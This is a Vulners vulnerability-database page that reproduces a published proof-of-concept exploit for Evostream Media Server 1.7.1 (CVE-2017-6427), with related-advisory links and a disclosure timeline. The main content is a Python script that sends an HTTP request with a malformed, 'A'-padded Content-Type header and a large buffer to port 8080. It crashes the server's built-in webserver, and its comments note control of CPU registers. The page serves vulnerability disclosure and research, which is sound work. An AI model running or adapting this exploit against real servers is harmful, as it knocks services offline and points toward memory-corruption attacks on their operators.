Lucene search
K

Evostream Media Server 1.7.1 Denial Of Service

🗓️ 07 Mar 2017 00:00:00Reported by Peter BarisType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 51 Views

Evostream Media Server 1.7.1 Denial Of Service exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Evostream Media Server 1.7.1 (x64) - Denial of Service Exploit
8 Mar 201700:00
zdt
CNVD
Evostream Media Server Denial of Service Vulnerability
16 Mar 201700:00
cnvd
CVE
CVE-2017-6427
10 Mar 201710:29
cve
Cvelist
CVE-2017-6427
10 Mar 201710:29
cvelist
Exploit DB
Evostream Media Server 1.7.1 (x64) - Denial of Service
7 Mar 201700:00
exploitdb
exploitpack
Evostream Media Server 1.7.1 (x64) - Denial of Service
7 Mar 201700:00
exploitpack
NVD
CVE-2017-6427
10 Mar 201710:59
nvd
OSV
CVE-2017-6427
10 Mar 201710:59
osv
Prion
Buffer overflow
10 Mar 201710:59
prion
`# Exploit Title: Evostream Media Server 1.7.1 a Built-in Webserver DoS  
# Date: 2017-03-07  
# Exploit Author: Peter Baris  
# Vendor Homepage: http://www.saptech-erp.com.au  
# Software Link: https://evostream.com/software-downloads/  
# Version: 1.7.1  
# Tested on: Windows Server 2008 R2 Standard x64  
# CVE : CVE-2017-6427  
  
# 2017-03-02: Vulnerability reported  
# 2017-03-03: Software vendor answered, vulnerability details shared  
# 2017-03-07: No answer, publishing  
  
import socket  
import sys  
  
try:  
host = sys.argv[1]  
port = 8080  
except IndexError:  
print "[+] Usage %s <host> " % sys.argv[0]  
sys.exit()  
  
  
  
buffer = "GET /index.html HTTP/1.1\r\n"  
buffer+= "Host: "+host+":"+str(port)+"\r\n"  
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"  
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\  
r\n"  
buffer+="Accept-Language: en-US,en;q=0.5\r\n"  
buffer+="Accept-Encoding: gzip, deflate\r\n"  
buffer+="Referer: http://192.168.198.129/login"  
buffer+="Connection: keep-alive\r\n"  
buffer+="Cont"+"\x41"*8+":\r\napplication/x-www-form-urlencoded\r\n" # RCX Control  
#buffer+="\xff\xad\xde"+"\x41"*8+":\r\napplication/x-www-form-urlencoded\r\n" # Remove hash to control RDX and CX(it will have the value 0x000000000000dead)  
buffer+="Content-Length: 5900\r\n\r\n"  
buffer+="B"*4096 # This is just to prove that the stack will also contain any buffer delivered with the malicios HTTP header  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect((host,port))  
s.send(buffer)  
s.close()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation